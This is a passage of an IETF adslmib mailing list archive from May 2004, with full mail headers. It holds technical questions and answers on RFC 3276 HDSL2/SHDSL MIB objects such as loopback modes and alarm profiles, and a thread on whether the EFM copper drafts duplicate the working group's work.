From exim@www1.ietf.org  Tue May  4 10:23:31 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04024
	for <adslmib-archive@odin.ietf.org>; Tue, 4 May 2004 10:23:30 -0400 (EDT)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BL0m0-0001kh-UI
	for adslmib-archive@odin.ietf.org; Tue, 04 May 2004 10:19:53 -0400
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i44EJqLW006736
	for adslmib-archive@odin.ietf.org; Tue, 4 May 2004 10:19:52 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BL0hp-0008ET-Vf
	for adslmib-web-archive@optimus.ietf.org; Tue, 04 May 2004 10:15:34 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03597
	for <adslmib-web-archive@ietf.org>; Tue, 4 May 2004 10:15:30 -0400 (EDT)
Received: from ietf-mx.ietf.org ([132.151.6.1] helo=ietf-mx)
	by ietf-mx with esmtp (Exim 4.32)
	id 1BL0hn-0004yk-RU
	for adslmib-web-archive@ietf.org; Tue, 04 May 2004 10:15:31 -0400
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1BL0gp-0004uz-00
	for adslmib-web-archive@ietf.org; Tue, 04 May 2004 10:14:31 -0400
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1BL0fq-0004r1-00
	for adslmib-web-archive@ietf.org; Tue, 04 May 2004 10:13:30 -0400
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BL0eO-0006Wh-U9; Tue, 04 May 2004 10:12:00 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BL0aA-0004B3-Ku
	for adslmib@optimus.ietf.org; Tue, 04 May 2004 10:07:38 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02725
	for <adslmib@ietf.org>; Tue, 4 May 2004 10:07:35 -0400 (EDT)
Received: from ietf-mx.ietf.org ([132.151.6.1] helo=ietf-mx)
	by ietf-mx with esmtp (Exim 4.32)
	id 1BL0a8-0004UA-Hx
	for adslmib@ietf.org; Tue, 04 May 2004 10:07:36 -0400
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1BL0ZD-0004Qx-00
	for adslmib@ietf.org; Tue, 04 May 2004 10:06:40 -0400
Received: from ant.hiwaay.net ([216.180.54.10] helo=mail.hiwaay.net)
	by ietf-mx with esmtp (Exim 4.12)
	id 1BL0YT-0004O5-00
	for adslmib@ietf.org; Tue, 04 May 2004 10:05:53 -0400
Received: from pesa.com ([216.180.38.253])
	by mail.hiwaay.net (8.12.11/8.12.11) with ESMTP id i44E5pFL985111
	for <adslmib@ietf.org>; Tue, 4 May 2004 09:05:52 -0500 (CDT)
Received: from [192.168.1.101] ([192.168.0.179])
	by pesa.com (pesa.com [127.0.0.1])
	(MDaemon.PRO.v7.0.1.R)
	with ESMTP id md50000032230.msg
	for <adslmib@ietf.org>; Tue, 04 May 2004 09:05:47 -0500
Subject: Re: [Adslmib] Queries regarding RFC 3276.
From: Bob Ray <rray@pesa.com>
Reply-To: rray@pesa.com
To: balajigv@cisco.com
Cc: adslmib mail list <adslmib@ietf.org>,
        Rajesh Abbi <Rajesh.Abbi@alcatel.com>
In-Reply-To: <03ff01c42d34$a5b8d680$e5074d0a@apac.cisco.com>
References: <03ff01c42d34$a5b8d680$e5074d0a@apac.cisco.com>
Content-Type: text/plain
Message-Id: <1083679546.2624.9.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Date: Tue, 04 May 2004 09:05:46 -0500
Content-Transfer-Encoding: 7bit
X-Spam-Processed: pesa.com, Tue, 04 May 2004 09:05:47 -0500
	(not processed: message from valid local sender)
X-MDRemoteIP: 192.168.0.179
X-Return-Path: rray@pesa.com
X-MDaemon-Deliver-To: adslmib@ietf.org
X-MDAV-Processed: pesa.com, Tue, 04 May 2004 09:05:51 -0500
Content-Transfer-Encoding: 7bit
Sender: adslmib-admin@ietf.org
Errors-To: adslmib-admin@ietf.org
X-BeenThere: adslmib@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/adslmib>,
	<mailto:adslmib-request@ietf.org?subject=unsubscribe>
List-Id: ADSLMIB <adslmib.ietf.org>
List-Post: <mailto:adslmib@ietf.org>
List-Help: <mailto:adslmib-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/adslmib>,
	<mailto:adslmib-request@ietf.org?subject=subscribe>
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

On Wed, 2004-04-28 at 10:22, Venkata Balaji Grandhi (balajigv) wrote:
> Hi,

Good morning!  Hope I didn't take too long to reply.  I had
to verify a few things lest I lead you astray (thanks Rajesh!).
 
> 1. When should the "configInitFailure(7)" and "protocolInitFailure(8)"
> bits in "hdsl2ShdslEndpointCurrStatus" object be set?    

configInitFailure(7): When an xTU is unable to comply to the applied
  configuration.
protocolInitFailure(8): When a protocol violation or unknown/invalid
  message is detected.

<humor>

    Imagine you make a telephone call.

    The remote end answers (establishes a connection based upon a
    somewhat stable configuration), but it is a dog which has knocked
    the receiver off the hook (as it was startled by the ring).

    You could say anything you want, but the dog just looks at the
       receiver.

    "Place the receiver back on the hook."

    "Woof."

    "Get your master to the phone."

    "Woof."

    "I feed dogs like you to my lizards."

    "Woof."

</humor>
 
> 2. What is "normalLoopback(2)" and "specialLoopback(3)"  ( w.r.t.
> "hdsl2ShdslMaintLoopbackConfig")?

specialLoopback(3) is defined for HDSL2/SHDSL xTU-R only as a
Maintenance Termination Unit (MTU) loopback (see ITU-T G.997.1 Sec
9.5.5.7.20)

> And, how do local loopback(analog or digital) and remote loopback map
> on to them?

If it's not defined in g.shdsl, it doesn't.  If you have proprietary
test modes you want to implement, you'll have to define other methods of
configuring, initiating, monitoring, and terminating them.

For example, if your marketing department insists that there is some
great gaping hole in the market for a box that is capable of sending
and verifying repeated sequences of smallish prime numbers ...


> 3. How should  "hdsl2ShdslSpanConfProfile" and
> "hdsl2ShdslEndpointAlarmConfProfile" be applied to STU-R, from STU-C,
>     since most of the elements of the profle tables cannot be
> configured on STU-R using EOC messages.

The thresholds are intended for Alarm reporting to the SNMP Manager, and
can be maintained locally if necessary (i.e. they do not have to be
configured in individual devices).

> 3. How should  "hdsl2ShdslSpanConfProfile" and
> "hdsl2ShdslEndpointAlarmConfProfile" be applied to STU-R, from STU-C,
>     since most of the elements of the profle tables cannot be
> configured on STU-R using EOC messages.

The MIB was designed to be usable by an SNMP agent on either end.  If
you cannot configure some parameter in the STU-R from the STU-C, then
you simply cannot do it.  Similarly, the STU-R may be prohibited from
configuring the STU-C.

You may avail yourself of the hooks in the EOC to perform proprietary
configuration operations (in the event that you control both ends of the
link).

-- 
Bob Ray <rray@pesa.com>



_______________________________________________
Adslmib mailing list
Adslmib@ietf.org
https://www1.ietf.org/mailman/listinfo/adslmib



From exim@www1.ietf.org  Thu May  6 14:56:15 2004
Received: from optimus.ietf.org (www.iesg.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10926
	for <adslmib-archive@odin.ietf.org>; Thu, 6 May 2004 14:56:15 -0400 (EDT)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BLnxi-0003p8-SH
	for adslmib-archive@odin.ietf.org; Thu, 06 May 2004 14:51:14 -0400
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i46IpEpX014698
	for adslmib-archive@odin.ietf.org; Thu, 6 May 2004 14:51:14 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BLnou-0007i5-C9
	for adslmib-web-archive@optimus.ietf.org; Thu, 06 May 2004 14:42:08 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10365
	for <adslmib-web-archive@ietf.org>; Thu, 6 May 2004 14:42:05 -0400 (EDT)
Received: from ietf-mx.ietf.org ([132.151.6.1] helo=ietf-mx)
	by ietf-mx with esmtp (Exim 4.32)
	id 1BLnor-0000DE-Lw
	for adslmib-web-archive@ietf.org; Thu, 06 May 2004 14:42:05 -0400
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1BLnoE-0007ao-00
	for adslmib-web-archive@ietf.org; Thu, 06 May 2004 14:41:26 -0400
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1BLnnA-00079J-00
	for adslmib-web-archive@ietf.org; Thu, 06 May 2004 14:40:20 -0400
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BLng4-0005Oa-SS; Thu, 06 May 2004 14:33:00 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BLnYN-0001ux-MK
	for adslmib@optimus.ietf.org; Thu, 06 May 2004 14:25:03 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA09161
	for <adslmib@ietf.org>; Thu, 6 May 2004 14:25:00 -0400 (EDT)
Received: from ietf-mx.ietf.org ([132.151.6.1] helo=ietf-mx)
	by ietf-mx with esmtp (Exim 4.32)
	id 1BLnYL-0000qD-4W
	for adslmib@ietf.org; Thu, 06 May 2004 14:25:01 -0400
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1BLnXO-0000R6-00
	for adslmib@ietf.org; Thu, 06 May 2004 14:24:03 -0400
Received: from bee.hiwaay.net ([216.180.54.11] helo=mail.hiwaay.net)
	by ietf-mx with esmtp (Exim 4.12)
	id 1BLnWu-00001T-00
	for adslmib@ietf.org; Thu, 06 May 2004 14:23:32 -0400
Received: from pesa.com ([216.180.38.253])
	by mail.hiwaay.net (8.12.11/8.12.11) with ESMTP id i46INMGI1454307
	for <adslmib@ietf.org>; Thu, 6 May 2004 13:23:23 -0500 (CDT)
Received: from [192.168.1.101] ([192.168.0.179])
	by pesa.com (pesa.com [127.0.0.1])
	(MDaemon.PRO.v7.0.1.R)
	with ESMTP id md50000034081.msg
	for <adslmib@ietf.org>; Thu, 06 May 2004 13:23:17 -0500
From: Bob Ray <rray@pesa.com>
Reply-To: rray@pesa.com
To: adslmib mail list <adslmib@ietf.org>
Content-Type: text/plain
Message-Id: <1083867792.18231.2.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Date: Thu, 06 May 2004 13:23:13 -0500
Content-Transfer-Encoding: 7bit
X-Spam-Processed: pesa.com, Thu, 06 May 2004 13:23:17 -0500
	(not processed: message from valid local sender)
X-MDRemoteIP: 192.168.0.179
X-Return-Path: rray@pesa.com
X-MDaemon-Deliver-To: adslmib@ietf.org
X-MDAV-Processed: pesa.com, Thu, 06 May 2004 13:23:22 -0500
Content-Transfer-Encoding: 7bit
Subject: [Adslmib] question about EFM
Sender: adslmib-admin@ietf.org
Errors-To: adslmib-admin@ietf.org
X-BeenThere: adslmib@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/adslmib>,
	<mailto:adslmib-request@ietf.org?subject=unsubscribe>
List-Id: ADSLMIB <adslmib.ietf.org>
List-Post: <mailto:adslmib@ietf.org>
List-Help: <mailto:adslmib-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/adslmib>,
	<mailto:adslmib-request@ietf.org?subject=subscribe>
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Hi.

What is the general consensus in the adslmib WG world about
what the hubmib guys are doing, specifically in the EFM copper
drafts?

I feel that they are duplicating our work.  Am I the only
one?  Are they (the EFM guys) working with the DSL Forum
in any way, or is this a case of two (three, four?) groups 
working independently to address the same (or very similar)
problems?

Let me know.  

-- 
Bob Ray <rray@pesa.com>



_______________________________________________
Adslmib mailing list
Adslmib@ietf.org
https://www1.ietf.org/mailman/listinfo/adslmib



From exim@www1.ietf.org  Fri May  7 16:51:00 2004
Received: from optimus.ietf.org (iesg.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19924
	for <adslmib-archive@odin.ietf.org>; Fri, 7 May 2004 16:51:00 -0400 (EDT)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BMCAy-0002b3-Pa
	for adslmib-archive@odin.ietf.org; Fri, 07 May 2004 16:42:33 -0400
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i47KgWcN009964
	for adslmib-archive@odin.ietf.org; Fri, 7 May 2004 16:42:32 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BMC6o-000191-PE
	for adslmib-web-archive@optimus.ietf.org; Fri, 07 May 2004 16:38:15 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19259
	for <adslmib-web-archive@ietf.org>; Fri, 7 May 2004 16:38:11 -0400 (EDT)
Received: from ietf-mx.ietf.org ([132.151.6.1] helo=ietf-mx)
	by ietf-mx with esmtp (Exim 4.32)
	id 1BMC6m-0006GB-RY
	for adslmib-web-archive@ietf.org; Fri, 07 May 2004 16:38:12 -0400
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1BMC5u-0005pW-00
	for adslmib-web-archive@ietf.org; Fri, 07 May 2004 16:37:19 -0400
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1BMC57-0005O2-00
	for adslmib-web-archive@ietf.org; Fri, 07 May 2004 16:36:29 -0400
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BMByw-0007jE-8u; Fri, 07 May 2004 16:30:06 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BMBv8-0006Sq-Nl
	for adslmib@optimus.ietf.org; Fri, 07 May 2004 16:26:11 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18362
	for <adslmib@ietf.org>; Fri, 7 May 2004 16:26:07 -0400 (EDT)
Received: from ietf-mx.ietf.org ([132.151.6.1] helo=ietf-mx)
	by ietf-mx with esmtp (Exim 4.32)
	id 1BMBv7-0000xr-0r
	for adslmib@ietf.org; Fri, 07 May 2004 16:26:09 -0400
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1BMBuC-0000TF-00
	for adslmib@ietf.org; Fri, 07 May 2004 16:25:13 -0400
Received: from ind-iport-1-sec.cisco.com ([64.104.129.9] helo=ind-iport-1.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1BMBt4-0007JH-00
	for adslmib@ietf.org; Fri, 07 May 2004 16:24:03 -0400
Received: from india-core-1.cisco.com (64.104.129.221)
  by ind-iport-1.cisco.com with ESMTP; 08 May 2004 07:36:53 +0530
X-BrightmailFiltered: true
Received: from cisco.com (samrat.cisco.com [192.135.241.21])
	by india-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i47KMx8s001143;
	Fri, 7 May 2004 13:23:00 -0700 (PDT)
Received: from balajigvw2k01 (dhcp-10-77-7-229.cisco.com [10.77.7.229])
	by cisco.com (8.11.2/8.8.8) with ESMTP id i47KMkn10670;
	Sat, 8 May 2004 01:52:46 +0530 (IST)
Reply-To: <balajigv@cisco.com>
From: "Venkata Balaji Grandhi \(balajigv\)" <balajigv@cisco.com>
To: <rray@pesa.com>
Cc: "'adslmib mail list'" <adslmib@ietf.org>,
        "'Rajesh Abbi'" <Rajesh.Abbi@alcatel.com>
Subject: RE: [Adslmib] Queries regarding RFC 3276.
Date: Sat, 8 May 2004 01:53:23 +0530
Message-ID: <000001c43471$26195640$e5074d0a@apac.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.5709
Importance: Normal
In-Reply-To: <1083679546.2624.9.camel@localhost.localdomain>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Content-Transfer-Encoding: quoted-printable
Sender: adslmib-admin@ietf.org
Errors-To: adslmib-admin@ietf.org
X-BeenThere: adslmib@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/adslmib>,
	<mailto:adslmib-request@ietf.org?subject=unsubscribe>
List-Id: ADSLMIB <adslmib.ietf.org>
List-Post: <mailto:adslmib@ietf.org>
List-Help: <mailto:adslmib-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/adslmib>,
	<mailto:adslmib-request@ietf.org?subject=subscribe>
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi Bob,

I am trying to set local loopback of  "hdsl2ShdslMaintLoopbackConfig" of
XTU-R,
from XTU-C (here I am trying to manage the units in Span from XTU-C), =
the
line will go
down and I will not be able to manage the XTU-R.

My question is:
Does "normalLoopback(2)" map to local loopback?
Can you please confirm.


Thanks & Regards
Balaji G V


-----Original Message-----
From: Bob Ray [mailto:rray@pesa.com]=20
Sent: Tuesday, May 04, 2004 7:36 PM
To: balajigv@cisco.com
Cc: adslmib mail list; Rajesh Abbi
Subject: Re: [Adslmib] Queries regarding RFC 3276.


On Wed, 2004-04-28 at 10:22, Venkata Balaji Grandhi (balajigv) wrote:
> Hi,

Good morning!  Hope I didn't take too long to reply.  I had
to verify a few things lest I lead you astray (thanks Rajesh!).
=20
> 1. When should the "configInitFailure(7)" and "protocolInitFailure(8)"
> bits in "hdsl2ShdslEndpointCurrStatus" object be set?   =20

configInitFailure(7): When an xTU is unable to comply to the applied
  configuration.
protocolInitFailure(8): When a protocol violation or unknown/invalid
  message is detected.

<humor>

    Imagine you make a telephone call.

    The remote end answers (establishes a connection based upon a
    somewhat stable configuration), but it is a dog which has knocked
    the receiver off the hook (as it was startled by the ring).

    You could say anything you want, but the dog just looks at the
       receiver.

    "Place the receiver back on the hook."

    "Woof."

    "Get your master to the phone."

    "Woof."

    "I feed dogs like you to my lizards."

    "Woof."

</humor>
=20
> 2. What is "normalLoopback(2)" and "specialLoopback(3)"  ( w.r.t.=20
> "hdsl2ShdslMaintLoopbackConfig")?

specialLoopback(3) is defined for HDSL2/SHDSL xTU-R only as a =
Maintenance
Termination Unit (MTU) loopback (see ITU-T G.997.1 Sec
9.5.5.7.20)

> And, how do local loopback(analog or digital) and remote loopback map=20
> on to them?

If it's not defined in g.shdsl, it doesn't.  If you have proprietary =
test
modes you want to implement, you'll have to define other methods of
configuring, initiating, monitoring, and terminating them.

For example, if your marketing department insists that there is some =
great
gaping hole in the market for a box that is capable of sending and =
verifying
repeated sequences of smallish prime numbers ...


> 3. How should  "hdsl2ShdslSpanConfProfile" and=20
> "hdsl2ShdslEndpointAlarmConfProfile" be applied to STU-R, from STU-C,
>     since most of the elements of the profle tables cannot be=20
> configured on STU-R using EOC messages.

The thresholds are intended for Alarm reporting to the SNMP Manager, and =
can
be maintained locally if necessary (i.e. they do not have to be =
configured
in individual devices).

> 3. How should  "hdsl2ShdslSpanConfProfile" and=20
> "hdsl2ShdslEndpointAlarmConfProfile" be applied to STU-R, from STU-C,
>     since most of the elements of the profle tables cannot be=20
> configured on STU-R using EOC messages.

The MIB was designed to be usable by an SNMP agent on either end.  If =
you
cannot configure some parameter in the STU-R from the STU-C, then you =
simply
cannot do it.  Similarly, the STU-R may be prohibited from configuring =
the
STU-C.

You may avail yourself of the hooks in the EOC to perform proprietary
configuration operations (in the event that you control both ends of the
link).

--=20
Bob Ray <rray@pesa.com>




_______________________________________________
Adslmib mailing list
Adslmib@ietf.org
https://www1.ietf.org/mailman/listinfo/adslmib



From exim@www1.ietf.org  Wed May 12 04:07:19 2004
Received: from optimus.ietf.org (iesg.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA15437
	for <adslmib-archive@odin.ietf.org>; Wed, 12 May 2004 04:07:19 -0400 (EDT)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BNogv-0001BJ-MR
	for adslmib-archive@odin.ietf.org; Wed, 12 May 2004 04:02:14 -0400
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i4C82Dtm004540
	for adslmib-archive@odin.ietf.org; Wed, 12 May 2004 04:02:13 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BNoaa-0007q1-DU
	for adslmib-web-archive@optimus.ietf.org; Wed, 12 May 2004 03:55:40 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA14549
	for <adslmib-web-archive@ietf.org>; Wed, 12 May 2004 03:55:38 -0400 (EDT)
Received: from ietf-mx.ietf.org ([132.151.6.1] helo=ietf-mx)
	by ietf-mx with esmtp (Exim 4.32)
	id 1BNoaX-000751-Sw
	for adslmib-web-archive@ietf.org; Wed, 12 May 2004 03:55:37 -0400
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1BNoZW-0006ZA-00
	for adslmib-web-archive@ietf.org; Wed, 12 May 2004 03:54:35 -0400
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1BNoYU-0005vg-00
	for adslmib-web-archive@ietf.org; Wed, 12 May 2004 03:53:30 -0400
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BNoQI-0005XU-47; Wed, 12 May 2004 03:45:02 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BNoNh-0004kD-E8
	for adslmib@optimus.ietf.org; Wed, 12 May 2004 03:42:21 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA13761
	for <adslmib@ietf.org>; Wed, 12 May 2004 03:42:19 -0400 (EDT)
From: Menachem.Dodge@infineon.com
Received: from ietf-mx.ietf.org ([132.151.6.1] helo=ietf-mx)
	by ietf-mx with esmtp (Exim 4.32)
	id 1BNoNe-0000Ch-UY
	for adslmib@ietf.org; Wed, 12 May 2004 03:42:19 -0400
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1BNoLu-00070d-00
	for adslmib@ietf.org; Wed, 12 May 2004 03:40:30 -0400
Received: from smtp1.infineon.com ([194.175.117.76])
	by ietf-mx with esmtp (Exim 4.12)
	id 1BNoKb-0006Hk-00
	for adslmib@ietf.org; Wed, 12 May 2004 03:39:09 -0400
Received: from mucse213.eu.infineon.com (mucse213.ifx-mail1.com [172.29.27.229])
	by smtp1.infineon.com (8.12.11/8.12.11) with ESMTP id i4C7bpO3000501;
	Wed, 12 May 2004 09:38:00 +0200 (MEST)
Received: from ntase201.eu.infineon.com ([172.29.134.16]) by mucse213.eu.infineon.com over TLS secured channel with Microsoft SMTPSVC(5.0.2195.6713);
	 Wed, 12 May 2004 09:38:36 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Subject: RE: [Adslmib] question about EFM
Date: Wed, 12 May 2004 09:38:34 +0200
Message-ID: <BA7EBBDC05A4D048B2231B9AF789ED843AD5B5@ntase201.eu.infineon.com>
Thread-Topic: [Adslmib] question about EFM
Thread-Index: AcQzmYXAluoA+ypKSxOj6dIhimdV8AEVjTew
To: <rray@pesa.com>, <adslmib@ietf.org>
X-OriginalArrivalTime: 12 May 2004 07:38:36.0406 (UTC) FILETIME=[22875960:01C437F4]
Content-Transfer-Encoding: quoted-printable
Sender: adslmib-admin@ietf.org
Errors-To: adslmib-admin@ietf.org
X-BeenThere: adslmib@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/adslmib>,
	<mailto:adslmib-request@ietf.org?subject=unsubscribe>
List-Id: ADSLMIB <adslmib.ietf.org>
List-Post: <mailto:adslmib@ietf.org>
List-Help: <mailto:adslmib-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/adslmib>,
	<mailto:adslmib-request@ietf.org?subject=subscribe>
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi Bob,

	As far as I know the EFM guys have had no contact with the DSL
Forum and defined their management
Guidelines independently.  I brought our work on the VDSL MIB to the
attention of=20
the hubmib WG, but as their guidelines from the EFM are different, they
have chosen to ignore our work.
They claim that it was easier to rewrite everything than try to make use
of our MIB. As far as I know they will be reaching Final Call shortly.

=09
	Regards,
	Menachem
=09


-----Original Message-----
From: adslmib-admin@ietf.org [mailto:adslmib-admin@ietf.org] On Behalf
Of Bob Ray
Sent: Thursday, May 06, 2004 9:23 PM
To: adslmib mail list
Subject: [Adslmib] question about EFM


Hi.

What is the general consensus in the adslmib WG world about what the
hubmib guys are doing, specifically in the EFM copper drafts?

I feel that they are duplicating our work.  Am I the only
one?  Are they (the EFM guys) working with the DSL Forum
in any way, or is this a case of two (three, four?) groups=20
working independently to address the same (or very similar) problems?

Let me know. =20

--=20
Bob Ray <rray@pesa.com>



_______________________________________________
Adslmib mailing list
Adslmib@ietf.org
https://www1.ietf.org/mailman/listinfo/adslmib

_______________________________________________
Adslmib mailing list
Adslmib@ietf.org
https://www1.ietf.org/mailman/listinfo/adslmib



From exim@www1.ietf.org  Mon May 24 12:27:32 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA17999
	for <adslmib-archive@odin.ietf.org>; Mon, 24 May 2004 12:27:32 -0400 (EDT)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BSI8G-0003VN-0s
	for adslmib-archive@odin.ietf.org; Mon, 24 May 2004 12:16:56 -0400
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i4OGGuqk013436
	for adslmib-archive@odin.ietf.org; Mon, 24 May 2004 12:16:56 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BSHnP-0008KU-Vd
	for adslmib-web-archive@optimus.ietf.org; Mon, 24 May 2004 11:55:23 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16165
	for <adslmib-web-archive@ietf.org>; Mon, 24 May 2004 11:55:20 -0400 (EDT)
Received: from ietf-mx.ietf.org ([132.151.6.1] helo=ietf-mx)
	by ietf-mx with esmtp (Exim 4.32)
	id 1BSHnO-0001SN-N3
	for adslmib-web-archive@ietf.org; Mon, 24 May 2004 11:55:22 -0400
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1BSHmc-0001N4-00
	for adslmib-web-archive@ietf.org; Mon, 24 May 2004 11:54:35 -0400
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1BSHll-0001Fx-00
	for adslmib-web-archive@ietf.org; Mon, 24 May 2004 11:53:41 -0400
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BSHdP-0005sO-G9; Mon, 24 May 2004 11:45:03 -0400
